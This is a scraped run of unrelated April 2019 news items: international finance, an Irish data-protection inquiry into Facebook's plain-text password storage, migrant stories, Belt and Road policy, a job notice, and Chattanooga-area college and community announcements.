them. We are looking at their portfolio and if at all we go ahead, it will be in acquiring a portfolio, and not investing into the shares of the company." The group is also planning to raise funds under the India Resurgence Fund, which is an equal joint venture between Piramal Enterprises and Bain Capital Credit to invest in distressed assets, he said as he sees many good opportunities in this space. Earlier this month, the fund had said it would invest up to USD 144 million (Rs 992 crore) in New Delhi-based Panacea Biotech. Also Read: PMO owes me Rs 1.4 lakh, IT Dept Rs 85,000: PM Modi in election affidavit Also Read: Foreign airlines savour rising demand as Jet Airways crumbles Also Read: Ducati plans to enter tier-two cities in India The Irish Government has today launched Ireland for Finance, a new strategy for the further development of the international financial services (IFS) sector in Ireland to 2025. The Strategy was jointly launched by Minister for Finance & Public Expenditure and Reform, Paschal Donohoe TD, and Minister of State for Financial Services and Insurance, Michael DArcy TD. The vision of the Strategy is for Ireland to be a top-tier global location of choice for specialist international financial services. The previous IFS five-year strategy for the development of the international financial services sector launched in 2015. Some key outputs from IFS2020 were the creation of 9,000 jobs and the launch of the annual European Financial Forum in Dublin Castle. The employment target for the new Strategy is to reach 50,000 people in direct employment in the sector by 2025. This compares with 44,000 people directly employed in the sector at the end of 2018. The Government says in formulating the Strategy, it has taken account of current and future developments while also exploring potential challenges and opportunities, especially the potential impact of technology, both positive and negative. The Strategy is structured around the following four pillars: 1. The operating environment pillar is focused on ensuring the policy, culture and legislative conditions underpinning IFS will support growth.. 2. The technology and innovation pillar is focused on providing a collaborative approach to addressing emerging challenges and opportunities in technological developments. 3. The talent pillar seeks to ensure that we continue to have skilled people to meet the demands of the IFS sector, including meeting new and changing skills. 4. The communications and promotion pillar is focused on ensuring that Irelands IFS offering is communicated to all those who are or may be attracted to investing in Ireland. The Strategy will be updated each year by means of annual Action Plans. The Government believes this approach ensures that the Strategy remains relevant and up-to-date in identifying and addressing emerging challenges. Each annual Action Plan will contain a list of measures grouped under each of the four pillars to be actioned in that year with a responsible stakeholder tasked with leading on the execution of each measure. Commenting on the launch of the new strategy, Minister Donohoe said, "Ireland has within its grasp the opportunity to be a world leader by 2025, as a global location for financial services and as a source of technological and innovation-led solutions. It is essential that both the public and private sectors and the educational institutions continue to work together to avail of this great opportunity." Minister DArcy added, "Ireland has built a very successful international financial services industry. However, we cannot be complacent. Artificial intelligence and automation will impact on jobs in the future. It is essential that we continue to review our progress to date, and evolve to ensure that we have the necessary talent pool available to face the challenges and opportunities that lie ahead. We also need to develop and identify new markets. The Ireland for Finance Strategy is the road map for this ambition which is achievable through continued hard work and commitment by all stakeholders." Source: www.businessworld.ie Facebook's lead regulator in the European Union, Ireland's Data Protection Commissioner, on Thursday said it had launched an inquiry into whether the company violated EU data rules by saving user passwords in plain text format on internal servers. The probe is the latest to be launched out of Dublin into the social network giant. The Irish regulator in February said it had seven statutory inquiries into Facebook and three more into Facebook-owned Instagram and WhatsApp. Facebook in March announced that it has resolved a glitch that exposed passwords of millions of users stored in readable format within its internal systems to its employees. The passwords were accessible to as many as 20,000 Facebook employees and dated back as early as 2012, cyber security blog KrebsOnSecurity, which first reported the issue, said in its report. "The Data Protection Commission (DPC) was notified by Facebook that it had discovered that hundreds of millions of user passwords, relating to users of Facebook, Facebook Lite and Instagram, were stored by Facebook in plain text format in its internal servers," the DPC said in a statement. "We have this week commenced a statutory inquiry in relation to this issue to determine whether Facebook has complied with its obligations under relevant provisions of the GDPR," it added. The DPC said in February that it expected to conclude the first of its investigations into Facebook's use of personal data this summer and the remainder by the end of the year. Ireland hosts the European headquarters of a number of U.S. technology firms. Under the EU's General Data Protection Regulation's (GDPR) "One Stop Shop," the Irish commissioner is also the lead regulator for Twitter, LinkedIn Apple and Microsoft. As part of regulations introduced last year, a firm found to have broken data processing and handling rules can be fined up to 4% of their global revenue of the prior financial year, or 20 million euros, whichever is higher. Canada's federal privacy commissioner on Thursday announced the results of a probe that found Facebook had committed serious contraventions of privacy law and failed to take responsibility for protecting the personal information of citizens. (Reuters) Source: www.businessworld.ie BORGO MEZZANONE (FOGGIA) - A Senegalese man who lost his friend in a fire in the Borgo Mezzanone migrant shantytown in southern Italy pleaded Friday for help from the pope and the Italian president. ''Today a friend of mine has died. I have already lost two of my friends amid the flames,'' Muhammed Mboob, the 21-year-old Senegalese man, told reporters. Distraught by the death on Friday morning of a migrant that was his friend in the shantytown, called on ''the President of the Republic Sergio Mattarella and Pope Francis to help us''. ''We cannot live like this anymore,'' he said. ''We want to work. We do not come to Italy to do anything bad. We ask that you help us with documents, because we cannot live and die like this.'' ''Yesterday evening I was with him. I was with my brother,'' he said, still under shock. ''Today I woke up and without even washing my face I ran here between the shacks because I knew he was dead.'' The 26-year-old Gambian man who died in a fire that broke out over the night in a shanty of the illegal makeshift housing a few kilometers from Foggia had been hosted until recently in a center for asylum seekers next to the shantytown. The young man had become irregularly present in Italian territory a few months ago after his asylum request was rejected. Investigators will have to ascertain whether the young man died in his sleep due to smoke inhalation or from other causes. The Gambian was found lying on the floor, almost entirely carbonized in a shack mainly made of metal sheets and wood. An autopsy is likely to be carried out in the coming days to determine the cause of death. Indonesian Vice President Jusuf Kalla arrives at Beijing Capital International Airport on April 24, ahead of the Belt and Road Forum. Photo: IC Photo (The Straits Times) Indonesia has said that projects under China's Belt and Road Initiative should be in line with its own national development strategy, be private sector-driven and not add to government debt. These points would be emphasized in a speech at the second Belt and Road Forum in Beijing, Indonesian Foreign Affairs Ministry spokesman Arrmanatha Nasir said in a media briefing in Jakarta on Thursday. More than 5,000 government officials, including 37 heads of state, and business leaders are attending the three-day forum, which began on Thursday. The first BRI summit was held in 2017. Indonesian Vice President Jusuf Kalla is leading Indonesia's delegation that includes Coordinating Minister for Maritime Affairs Luhut Pandjaitan and Foreign Affairs Minister Retno Marsudi. "From the beginning, Indonesia has stressed that BRI projects have to be private sector-driven, a business-to-business cooperation ... so it's profit-oriented. If it won't be profitable, it should not proceed. If there is any debt, it is a debt to the private sector," Arrmanatha said. The Foreign Ministry spokesman said Mr Kalla would be speaking at the third or last of the three planned round table meetings at the forum which would discuss, among other things, boosting creativity and exploring new sources of growth, policy synergy and building closer partnership and promoting green and sustainable development. The Indonesian government has offered several strategic projects under the BRI, including a multibillion-dollar hydropower plant in North Kalimantan's Kayan river and an industrial park in North Sumatra. Jakarta has refused to provide any government guarantee for the projects and opted instead to leave them to the private sector, albeit mainly state-controlled corporations. This is unlike most BRI projects in other countries. Many projects in Indonesia with strong Chinese government support have not been listed as BRI projects. These include the ongoing 150 km (93 mile) Jakarta-Bandung high-speed rail project, the first in Indonesia, which is partially financed by the China Development Bank. Another example is a nickel industrial park in Morowali, Central Sulawesi province, which has immensely benefited the local economy as exports from the province jumped sixteenfold over the past five years. The project was initiated before the BRI was launched, received strong endorsement from the leaders of both countries and enjoyed commercial financing from the state-owned China Development Bank. "None of our cooperation is G-to-G. What we do is corporation-to-corporation (between those from China and Indonesia) working directly on projects," Mr Luhut said in a statement sent from Beijing. "The government's role here is just to facilitate," he added. The BRI the signature foreign policy and development strategy of Chinese President Xi Jinping aims to revive ancient overland and sea trade routes, and connect China to Europe, Africa and other parts of Asia by building a network of ports, roads, railways and industrial hubs. Mooted by Xi in 2013, Beijing said recently that it has inked 173 deals with 125 countries and 29 international organizations on the mega-project which has been marked by controversy over the unsustainable debt that poorer countries will or have chalked up. Pakistan downsized a key Belt and Road railway project over debt concerns after Prime Minister Imran Khan took office last year while Malaysia recently successfully renegotiated on the East Coast Rail Link, bringing cost down from US$16 billion ($21.8 billion) to US$10.7 billion. Critics have also often pointed to the construction of the Hambantota port in Sri Lanka, which began as a joint venture with China in 2008. But Sri Lanka was unable to repay the loan and was forced to cede control of the deep-sea port to Chinese firms on a 99-year lease. This story was originally published by The Straits Times. Contact editor Yang Ge (geyang@caixin.com) nullMinsheng Bank didnt directly address whether it was the subject of the Wednesday regulatory notice, adding that it will step up self-inspection and compliance management. Photo: Bloomberg (Bloomberg) China Minsheng Banking Corp. is the unidentified lender that was the subject of a Hong Kong regulatory warning about risky lending practices, according to people with knowledge of the matter. Hong Kongs securities regulator and central bank said late Wednesday that they had inspected the local unit of a Chinese bank and found that it had entered into transactions that make it difficult to conduct rigorous risk assessment. They were referring to Minsheng Bank, the people said, asking not to be identified because the details arent public. Shares in Minsheng Bank unit CMBC Capital Holdings Ltd. fell as much as 7.1% in Hong Kong on Thursday after shareholder activist David Webb on his blog linked the firm to the regulators announcement. In October, Webb named Minsheng Bank and CMBC among 26 stocks not to own due to a complex web of dealings. Hong Kong Economic Journal late Wednesday also named Minsheng Bank and its local unit in relation to the matter, citing unnamed sources. Minsheng Bank said in a statement it has a complete internal control system, and strictly complies with regulators requirements. The bank didnt directly address whether it was the subject of the Wednesday regulatory notice, and added that it will step up self-inspection and compliance management to ensure its businesses are legitimate and compliant. Spokesmen for the Hong Kong Monetary Authority (HKMA) and the Securities and Futures Commission (SFC) declined to comment. Read more Minsheng bank slapped with record fine Hong Kong regulators have repeatedly sounded warnings about lenders getting into complex financing transactions, as they step up scrutiny of financial institutions. One key objective for officials has been to ensure that such deals dont end up jeopardizing financial stability. Wednesdays statement noted that other Chinese banks have engaged in similar activities. Banks should ensure that credit facilities granted to their subsidiaries and affiliated companies or those of their holding company are granted on an arms length basis, the regulators said in Wednesdays statement. In the example given by the HKMA and SFC on Wednesday, a subsidiary of the unnamed Chinese bank obtained a credit facility from its parent, and then made a large investment in a private fund. That funds only purpose was to provide a loan to a special purpose vehicle owned by a substantial shareholder of a public company. Firms that have similar arrangements should review them urgently, the regulators said. Contact editor Yang Ge (geyang@caixin.com) ROME - A group of migrants has reportedly been injured by shooting in a detention center in Qasr Bin Gashir, over 30 km south of Tripoli near the international airport. The area is at the center of fighting between government forces and those under General Khalifa Haftar. Reports were from Doctors Without Borders (MSF), which said that it had identified injuries by firearms by analyzing photos and videos. MSF said that a violent attack in the detention center had been reported on April 23, where over 700 unarmed men, women, and children were trapped. The organization added that: ''Conflicting accounts by both media and humanitarian agencies on the ground failed to provide a clear picture of what transpired, and the extent of the injuries incurred. Multiple reports suggested several deaths and at least 12 people injured.'' OTTAWA, April 26, 2019 Canadas two official languages are at the heart of our identity. They provide undeniable economic, social and cultural benefits for everyone. The Government of Canada is committed to supporting the development of Anglophone and Francophone minority communities across the country. As well, this support recognizes how important it is for these communities to have the facilities where people can meet, exchange ideas and access vital resources. The Honourable Melanie Joly, Minister of Tourism, Official Languages and La Francophonie, announced the launch of a new fund to support community and cultural infrastructure construction projects in official-language minority communities. The Community Spaces Fund, a new initiative stemming from the Action Plan for Official Languages 20182023, will devote $67.2 million in funding over five years to support school, community and cultural infrastructure projects. This fund will allow non-profit organizations working in minority communities to have spaces where services and activities are offered in the communitys preferred language. These could be Francophone cultural centres, community centres or theatres. These meeting places encourage interaction and sharing while contributing to the individual and social development of the community. The creation of these spaces will strengthen the capacity of these organizations and support community revitalization. Jointly-owned artifacts from HMS Erebus and HMS Terror will be protected and shared for the benefit of Inuit and all Canadians April 16, 2019 Ottawa, ON Parks Canada Agency In 2018, the United Kingdom gifted Canada all of the remaining artifacts from HMS Erebus and HMS Terror, the ships of the 1845 Franklin Expedition. With this historic gift, Canada and the Inuit of Nunavut, through Parks Canada and the Inuit Heritage Trust, became joint owners of the artifacts from HMS Erebus and HMS Terror, following through on a government promise. Today, the Government of Canada and Inuit Heritage Trust signed a Memorandum of Understanding detailing how the two organizations will work together to protect, study, conserve and share these important artifacts. The artifacts from the Wrecks of HMS Erebus and HMS Terror National Historic Site will be protected based on Inuit Qaujimajatuqangit (Inuit knowledge) and the principles of cultural resource management, including the highest standards of collection and conservation. The jointly-owned artifacts will be presented from an Inuit perspective and every effort will be made to display them within the Nunavut Settlement Area. In addition, museums and other cultural institutions will have opportunities to study and exhibit the artifacts on a temporary basis. In September 2018, Parks Canada recovered the first jointly-owned artifacts from the wreck of HMS Erebus. These historic artifacts were shared with the communities of Gjoa Haven and Cambridge Bay shortly after they were recovered, before being transferred to Parks Canadas lab in Ottawa to undergo conservation treatment and study. With thousands of artifacts still to be recovered, the ongoing investigation of HMS Erebus and HMS Terror by Parks Canada in collaboration with Inuit is one of the largest and most complex underwater archaeological undertakings in Canadian history. - 30 - BRUSSELS - Some 19,740 unaccompanied young migrants requested asylum in the EU in 2018. Of them, four out of ten filed a request in Germany (4,085; 21% of the total) or Italy (3,885; 20%), the main destinations in 2018. The two countries that in 2018 were the main destination also experienced the sharpest drops compared with 2017: there were 6,120 fewer requests in Italy (-61%) and 5,000 fewer in Germany (-55%), according to Eurostat figures. The total number of unaccompanied minors who requested asylum in the EU in 2018 dropped by over a third compared with 2017, when they were 31,395. This marked a return to a level lower than that in 2014 (23,100), a year in which there was an initial increase compared with 2008-2013. In addition to Germany and Italy, the EU countries that received the most asylum requests from unaccompanied minors were the UK (2,900; 15%) and Greece (2,600; 13%). The two countries also saw an increase on 2017. In particular, the UK received 700 more requests (+30%) and Greece 200 (+8%). Unaccompanied minors accounted for 10% of the overall number of asylum seekers under age 18 in the EU. Most came from Afghanistan (16%), Eritrea (10%), Pakistan (7%) and Syria (7%). Most were males (86%) and three-quarters of the total are held to be between 16 and 17 years old. Bharat PetroResources Limited (BPRL), a wholly-owned subsidiary of Bharat Petroleum, has invited online applications from eligible and experienced candidates filling multiple posts comprising Geologist (02), Geophysicist (01), Petrophysicist (01), Reservoir Engineer (01), Drilling Engineer (02), Production Engineer (01), Facilities Engineer (01), Finance Managers (03), Audit Managers (03) and Business Development & MIS (01) through direct recruitment. The online application process towards the same starts from May 01, 2019 and closes on June 15, 2019 CRITERIA DETAILS Name Of The Posts Engineers, Geologists and Managers Organisation Bharat PetroResources Limited (BPRL) Educational Qualification Master Degree/Bachelor's Degree/Graduation/MBA/CA/ICAI in relevant domains Experience As detailed in the notification Job Location India Salary Scale INR 14 to 25 Lakh per annum as per the designation Industry Petroleum Application Start Date May 1, 2019 Application End Date June 15, 2019 Age Criteria And Fees Candidates interested in applying for the post of Engineers, Geologists and Managers through BPRL Recruitment 2019 must not have exceeded the following age bar as on June 01, 2019. Geologist, Geophysicist, Reservoir-Production Engineer, MIS Executive: 30 years Petrophysicist, Facilities Engineer: 38 years Drilling Engineer: 33 years Finance, Audit Managers: 42 years Candidates are exempted from paying fee towards application processing as specified in the notification. HAL Recruitment 2019 For 826 Trade, Graduate And Diploma Apprentices; Apply Online Before May 15 Educational Criteria Candidates interested in applying for the post of Engineers, Geologists and Managers through BPRL Recruitment 2019 must possess a Master Degree/Bachelor's Degree/Graduation/MBA/CA/ICAI in relevant domains from a recognized University/Institution duly approved by AITCE/UGC with desirable work experience in relevant areas as detailed in the notification here http://bharatpetroresources.com/images/files/Consolidated Ad content(1).pdf Selection And Pay Scale The selection of candidates as Engineers, Geologists and Managers through BPRL Recruitment 2019 will be done through Shortlisting, Interview and Document Verification Candidates selected as Engineers, Geologists and Managers will be paid an emolument in the range of INR 14 to 25 Lakh per annum as per the designation Indian Army Recruitment 2019 For 40 Officers In Engineering Streams; Apply Online Before May 09 How To Apply Candidates applying for the post of Engineers, Geologists and Managers through BPRL Recruitment 2019 must submit their applications through online mode only on the official BPRL website at http://bharatpetroresources.com/Careers/Careers.aspx#VACANCIES from May 01, 2019 onwards Read the detailed notification about BPRL Recruitment for Engineers, Geologists and Managers here http://bharatpetroresources.com/images/files/Consolidated%20Ad%20content(1).pdf As it has in recent months, the PS Plus lineup from January 2022 has come online once again. According to... Arabian Cement returns to profit in 1Q19 ICR Newsroom By 26 April 2019 Arabian Cement net profits reached SAR37.1m in the first quarter of 2019, compared to net losses of SAR6.1m in the year-ago period, according to a statement to the Saudi Stock Exchange. Net profits surged 127.6 per cent QoQ from SAR16.3m in 4Q18. The company attributed the turnaround to higher revenues and lower costs. In addition, reduced general and administrative expenses and lower losses in its Jordan unit contributed to the more positive result. Published under Chattanooga State Community College will hold its 53rd Annual Commencement exercises during two consecutive sessions on Saturday, May 4 at Solders & Sailors Memorial Auditorium when 1,490 graduate candidates are scheduled to receive more than 1,600 degrees and/or certificates. The first ceremony at 10 a.m. will include graduate candidates from Engineering and Information Technologies, Humanities and Fine Arts, and Social and Behavioral Sciences. The 2:30 p.m. ceremony will welcome graduate candidates from Business, Mathematics and Sciences, Nursing and Allied Health, as well as Hamilton County Collegiate High at Chattanooga State students. The youngest member of the Class of 2019 was born in 2003, while oldest member was born in 1946. There are 426 students who have attained honors status and 393 Tennessee Promise graduate candidates in 2019. Both categories have each increased by 55 students. Sixty-two percent of graduates are female; 38% are male, and 42% are over the age of 25. Twenty-eight percent are first generation students. Students from 22 international countries are represented. Fifty-four graduate candidates are enrolled in Hamilton County Collegiate High at Chattanooga State and 24 of those students have earned enough credits to receive an associate degree. James Fry, a member of the class of 2019, will present the Commencement address during both ceremonies. Mr. Fry returned to school as a Tennessee Reconnect student in 2017. Majoring in history, he was recognized by his department and awarded the Academic Excellence Award during the spring of 2018. The following fall he became a department tutor. Mr. Frys excitement for academic experiences translated into passion as an adult student learner. He helped to resurrect the C.AD.R.E. Adult Student Club and appeared as a speaker and advocate for the TN Reconnect program. His academic achievements and his involvement in a number of clubs and activities at Chattanooga State have earned him a number of honors and awards. Mr. Fry is a Global Scholar as well as a member of Phi Theta Kappa and SPIRE honor societies. Fry was recently named Community College Student of the Year by the College System of Tennessee during the Statewide Outstanding Achievement Recognition (SOAR) award ceremony. He plans to transfer to UTC this fall majoring in history. The following Faculty Fellows will be recognized at the ceremony: Skylar Davidson, Elizabeth Norrell, and William Taylor, Bea Lyons Fellows; Scott Douglass and Allison Fetters, Amanda Wynn Fellows. Faculty and Staff Excellence Award Winners include Amy Campbell, Professional Staff; Kirsten Jones, Support Staff; Michael Mercer, Teaching Excellence, TN College of Applied Technology; Richard Clements, Excellence in Advising; Jacob Stanford, Faculty Excellence in Teaching. Retiring Faculty and staff for 2018-19 include Paulette Amsler, Wesley Bradford, Wayne Cox, Patti Dyer, Donald Dyer, Tina Ewton, William Ewton, Sharon Hall, Marsha Havener, Robert Hobgood, Julie Land, Rosemary Milburn, Ronald Reese, Mitchell Rhea, Deborah Rudd, Barry Smith, Jill Wentworth, Brenda Woodruff, and Betty Zmaj. Chattanooga State Community College consistently offers a high quality education with an 18:1 student-to-teacher ratio, 98 percent job placement rate, and 98 percent licensure pass rate. For more information, visit www.chattanoogastate.edu. Whether the inspiration to get into welding came with a short- or a long-range plan, Chattanooga State graduates Ross Purcell, Rebecca Gilliam, Jeff Iley, and Kassey OKelley all have one thing in common: welding creates strength and reinforcement of metal, but welding also has built enduring strength into the lives of these four graduates. Chattanooga State Community College offers welding programs through the divisions of Tennessee College of Applied Technology (TCAT) and Engineering & Information Technologies (E&IT). TCAT programs are designed to prepare students for a job within a years time. They are focused on techniques, technical aspects, cutting, types of welding, math, and blueprint reading. E&IT classes prepare graduates for additional paths to attain Certified Welding Inspectors (CWI) or Certified Robotic Arc Welding certificates. Classes provide practical skills and theory, inspection, fundamentals of welding design and code requirements while using welding equipment and robotics for materials joining. Kassey and Rebecca began their welding paths in TCAT, while Ross and Jeff started their paths in E&IT. Kassey OKelley, a 2018 TCAT Welding Technology graduate says her instructor, was the most amazing teacher who really took his time with students to teach as much as he could by making class fun and enjoyable. Taking classes at night allowed Ms. O'Kelley to keep her full-time day job. She now works as a welder fabricator, using stick and flux core welding on a daily basis while continuing to improve her TIG (tungsten inert gas) skills. Welding compliments the natural inclination to work with my hands; I can physically see the impact of my work, she states. Intriguing, is how Rebecca Gilliam describes her fascination with welding after watching husband Preston weld on jobs. Mr. Gilliam graduated in 2014 from the TCAT Welding Technology program offered at the Kimball Site. Ms. Gilliam met her husbands instructor, Cliff Hookey, and watched the welding students work, saying she instantly fell in love and decided that welding would be her career. Three months after giving birth to her daughter in 2017, Ms. Gilliam followed her dream and enrolled in the same program from which Mr. Gilliam had graduated, graduating in 2018. Her dreams did not end there as she decided to enroll in the E&IT Welding Engineering Technology program on the credit side that fall. As an extremely busy 23-year-old wife and mother, a 4.0 Global Scholar and PTK honors student, she is also involved with student organizations, and on her way to graduating in December 2019. She then plans to reenroll in the Non-Destructive Testing program. She said, I have never regretted my decision of becoming a student here Chattanooga State has opened so many doors for me! As a master plumber, Michigan native Jeff Iley began learning to weld in his local union hall to help ensure that he could find work as a welder when plumbing jobs were completed resulting in layoffs. He then graduated from a nine-month structural and pipe welding program at a trade school in Ohio. Mr. Iley was able to use articulated credit at Chattanooga State for most of his welding-related credits as he pursued his A.A.S. in Engineering Technology, with a concentration in Welding Engineering. Prior to his 2015 graduation, his skills were sought by Fronius USA and he was employed as a Sales/Process Application Engineer in Chattanooga, TN. During the four-year period that he was employed by Fronius, he earned his Certified Welding Inspector & Certified Welding Educator (CWI and CWE) credentials from the American Welding Society. Having accepted a new position as the Regional Sales Manager for Optrel Inc., he is continuously improving himself and taking his career to new heights. Still based in Chattanooga, Mr. Illey also serves his alma mater, Chattanooga State, as a Certified Welding Inspector for the American Welding Societys, Authorized Testing Facility on Chattanooga States main campus. In 2013, Ross Purcell was introduced to what he says was, the latest and greatest technology on the market at Voith Hydro Services, a company specializing in cavitation repair, field machining and welding on all types of hydro turbines. At the time, he was a sophomore at UTC majoring in environmental science, but a lucrative pay increase made him realize that welding was his ticket into the niche business path placed in front of him. Enrolling in Chattanooga States Welding Engineering Technology program in 2015 enabled him to become a valuable asset in the industrial business world. Ross, who graduated in 2018, says that classes in structural design and fabrication, NDE, metallurgy, and CAD programs prepared him for the steps ahead. By combining his welding skill set with the verbiage and test-taking skills, helped him complete his greatest goal of becoming an American Welding Society (AWS) CWI. Now actively pursuing two goals, Mr. Purcell serves as a project engineer for a Chattanooga-based small business, AMT Hydro Services, LLC and in an entrepreneurial role working toward becoming a member of the next big fabrication boom in Chattanooga. Mr. Purcell plans to join his new business partner, Nelson Johnston as they shift their focus toward the growth of Thorough Built LLC beginning May 1, 2019. Chattanooga State salutes all welding graduates during National Welding Month. These graduates are provided with a strong foundation and are well-prepared for their futures. Chattanooga State is now enrolling for fall 2019. For more information on a welding career, visit chattanoogastate.edu or call (423) 697-4400. Senator Marsha Blackburn outlined her priorities in Congress in a speech to the Chattanooga Rotary Club on Thursday. The first bill in the Senate that she helped pass, working alongside Senator Lamar Alexander, she said, is a bi-partisan resolution about vaccines. Some of the blame for the upticks of diseases that we had considered were gone, is because of misinformation spread across the Internet she said. The resolution encourages parents to talk to medical professionals about vaccinations. Working on communication and technology issues to get high speed Internet and broadband into underserved areas is a priority because so much depends on it now. There will be a focus on data centers in these regions. Online privacy is also a matter of concern to help people protect themselves. She said the government is working to get one set of rules for the whole internet. Moving the V.A. toward electronic health records is in process. She said it is so wrong to have to chase records that in some cases end up getting lost. Ahead of us, said Senator Blackburn, includes work on across the board cuts on discretionary spending. The government takes too much of your money, she said, and the goal is a spending reduction of five percent. With the country $22 trillion dollars in debt our kids and grandkids can not afford it, she said. There is also a push to open up health insurance across state lines which has bi-partisan support she told the Rotary Club members. Getting more federal judges on the bench is also a priority, along with the judges; confirmation is also needed for cabinet appointments, ambassadors and cabinet secretaries. Of interest specifically to Chattanooga, she said that the EPA is suggesting a re-write for WOTUS (Waters of the United States) which would clarify the authority between federal waters and state waters. Among other things, the EPA is looking at issues concerning standing water on farms and the difficulty of handling waste water. The Chickamauga Lock is another project she said she is working on closely with Senator Alexander, to make sure that the project stays on track. She said this not only affects Chattanooga and Tennessee, but also 17 other states. Congressman Chuck Fleishman is leading the effort in Tennessee. The research and technology issues that take place at Oak Ridge are important to both the state and our nation, she said, and federal budgeting will have an effect. Hypersonic capabilities that are being worked on at Oak Ridge will have a significant importance in both flight and weapons in the future, and Oak Ridge will be critical for this. She said that for decades Russia has tried to interfere in our elections and she is glad that some people are recognizing that is a problem. Social media is the means being used now, and meetings have been held with providers to plan for policies during the 2020 election. It is important to pass security legislation and focus on cyber security for personal security, as well. Other issues of importance facing the country are looking at whether we are tilting toward freedom or socialism, she said. People she speaks to in Tennessee are ready to move on from the Mueller report, having already spent 22 months and $30 million on it, she said, What more are you going to find out? Tennesseans are more interested in the story of their lives, such as how to help VW and Oak Ridge and keeping jobs, economic growth, reducing regulations, rebuilding the military, and how to keep Tennessee free and productive. Ms. Blackburn has served in public office since 1998 when she was elected to the state senate. In 2002 she became a U.S. Congresswoman from Tennessee and was in that position until she won the U.S. Senate seat in 2018. Cleveland State student Brandt Sutherland has a reason to thank his instructor, Dr. Eddy Dye. A few weeks ago, Sutherland was able to apply the lessons he learned from Dyes Anatomy and Physiology class and perform the Heimlich maneuver saving the life of his best friend who was choking at the time.Sutherland was having a night out with friends. They were out to dinner at Longhorn Steakhouse and had plans to go to a movie later that evening. While eating his dinner, he noticed one of his friends had a blank stare on his face.Sutherland said he didnt think anything of it at the time because the friend will sometimes act sarcastic and make that same face while joking around with his friends. Sutherland continued eating, but when he looked back at his friend, he had that same stare, only this time his eyes had started to water, and his face was turning purple. Sutherland asked if he was choking and proceeded to do the Heimlich maneuver on the friend who had choked on a piece of steak. None of the other friends knew the Heimlich maneuver and relied on Sutherland for help. Luckily, he was able to un-lodge the steak, and then he and his friends continued eating.At first, we were just all in shock, stated Sutherland. It was a very serious moment at the time, but then we just went back to eating and joking around. I cant even tell you how long I performed the Heimlich. I guess it was just adrenalin, but afterward, I was just physically and mentally exhausted.Dye stated, I try to tell my students that if an emergency happens, they may be the only one there who has the knowledge to do something about it. Everyone always thinks someone here will know more than I do, and invariably, become paralyzed with fear, but Brandt wasnt.Coincidentally, almost forty years ago, Sutherlands Anatomy and Physiology instructor Dr. Eddy Dye had been eating in a Memphis pizzeria and had to perform the Heimlich maneuver on a choking man, also saving his life. Afterward, people in the restaurant started applying and sending beers to Dyes table, and he doesnt even drink!The man in the pizzeria had been choking on a piece of mozzarella cheese. To this day as a bonus question on exams, Dye will ask his class, What is my least favorite cheese? His classes all know the answer because they have all heard the story.Unlike Dyes experience, nobody in the restaurant had even noticed Sutherland perform the Heimlich, or if they had, they chose not to acknowledge it.Sutherland said, If we hadnt just gone over the respiratory system and hand/body placement with the Heimlich, I dont know what would have happened! None of my friends knew how to do it. Its nice to have someone like Dr. Dye. I would never have expected that I would ever have to do that, so I feel like I should thank Dr. Dye for everything.Dye stated, Its a really good feeling when students take their training you have taught them, apply it and put it to use. I told Brandt I have tremendous respect for him. To step out of his comfort zone and be willing to take a chance to save a life, shows so much courage. He is a hero in my book, and I dont use that term loosely.Never in a million years did I think I would be recognized for this, stated Sutherland. But it definitely is a good feeling.Sutherland is a 2018 graduate of McMinn Central High School. He will graduate from CSCC next year and has plans to attend either the University of Tennessee at Chattanooga or Tennessee Wesleyan and major in Exercise Science. Lee Universitys School of Music will host a guest recital, featuring Augusto Moralez on vibraphone and Javier Nandayapa on marimba on Sunday at 3 p.m. in Squires Recital Hall, The program will feature works such as Balkan Suite, Rainbow, Storm, Chasing the Ichic Ollco, and Brazilian Landscape, among others. Mr. Moralez currently serves as the chair of the percussion department at the Federal University of Algoas in Brazil. He frequently teaches clinics and performs concerts at percussion festivals throughout Latin America, including the International Festival of Percussion in Argentina, Festival Tamborimba in Colombia, the International Marimba Festival in Mexico, and the Tatui International Percussion Festival in Brazil. As a performer, Mr. Moralez has commissioned and performed over 30 new works. He has been featured on more than a dozen recordings and has held principal positions in nine different orchestras. Mr. Moralez has also performed in several Broadway shows in Brazil, including The Lion King, Evita, and Jekyll and Hyde. He received his bachelors degree from the University of Sao Paolo and his masters degree at the University of Goias. Mr. Nandayapa specializes in the Mexican marimba. He began his musical career in 1989 as a member of the Marimba Nandayapa ensemble. In 1995, he began his career as a soloist. He has performed in theaters, festivals, and universities in 41 countries and with symphony orchestras and chamber ensembles throughout Mexico, Lithuania, Poland, Argentina, and Paraguay. He has released 12 recordings as a soloist and has been featured on more than 20 other albums in various genres and musical styles. Over the course of his career, Mr. Nandayapa has introduced the people of Mexico to the works of many foreign composers by performing arrangements of them on the marimba. In 1998, he commissioned several composers to create new repertoire for both the Mexican and concert marimba, which he has debuted in over 50 concerts. In 1999, Mr. Nandayapa collaborated with percussionist Israel Moreno to write the first method book for Mexican Marimba. Mr. Nandayapa regularly teaches workshops in various universities and conservatories throughout the United States, Europe, Asia, Central America, and South America. The recital is free, non-ticketed, and open to the public. Mr. Nandayapas appearance is made possible, in part, by the program for the promotion of cultural projects and co-investments of the Culture and the Arts National Fund 2019-20. For more information, contact the School of Music at (423) 614-8240 or music@leeuniversity.edu. The Public Relations Society of America Lookout Chapter is hosting a public lunch and learn about the award-winning Dont Be An Accidental Drug Dealer public education campaign by BlueCross BlueShield of Tennessee. The luncheon will be held at the Mountain City Club on Wednesday, May 1, starting at 11:30 a.m.The Silver Anvil Awards recognize the best public relations campaigns across the United States each year. Last year, the Public Relations Society of America recognized Chattanoogas own BCBST with this award.Hear from Roy Vaughn, APR, senior vice president and chief communications officer for BCBST, about the elements that made the campaign a success.Audience members will learn what research, planning and execution strategies were put into place to help the campaign achieve real, significant results in Tennessee."As the organizations CCO, Vaughn provides strategic counsel, alignment and consistency for all BCBSTs communications initiatives," officials said. "Healthcare has been his single career focus, creating a depth of expertise in strategic communications practices, reputation management, crisis communications and response. A proven and effective leader, Vaughns expertise in strategic communications is recognized at the local, state and national levels."Membership in the Public Relations Society of America is not required to attend, but tickets are limited. Reserve online at Eventbrite Local United Methodists are raising more than $100,000 to fight the opioid crisis they say is tearing away at communities in East Tennessee, Southwest Virginia and North Georgia. By mid-June, the 872 United Methodist congregations of Holston Conference expect to take a significant offering that will help create new ministries or strengthen existing programs that help families and individuals struggling with addiction, officials said. The Rev. Tim Jones said the mission campaign will kick off the week after Easter Sunday, April 21. Resurrection begins at Easter. It doesnt end at Easter, said Rev. Jones, director of communications. As Easter people in Holston Conference, we want to celebrate new life and resurrection through ministries that address the opioid crisis. United Methodist churches will take special offerings throughout May, then take their offerings to the Holston Annual Conference held June 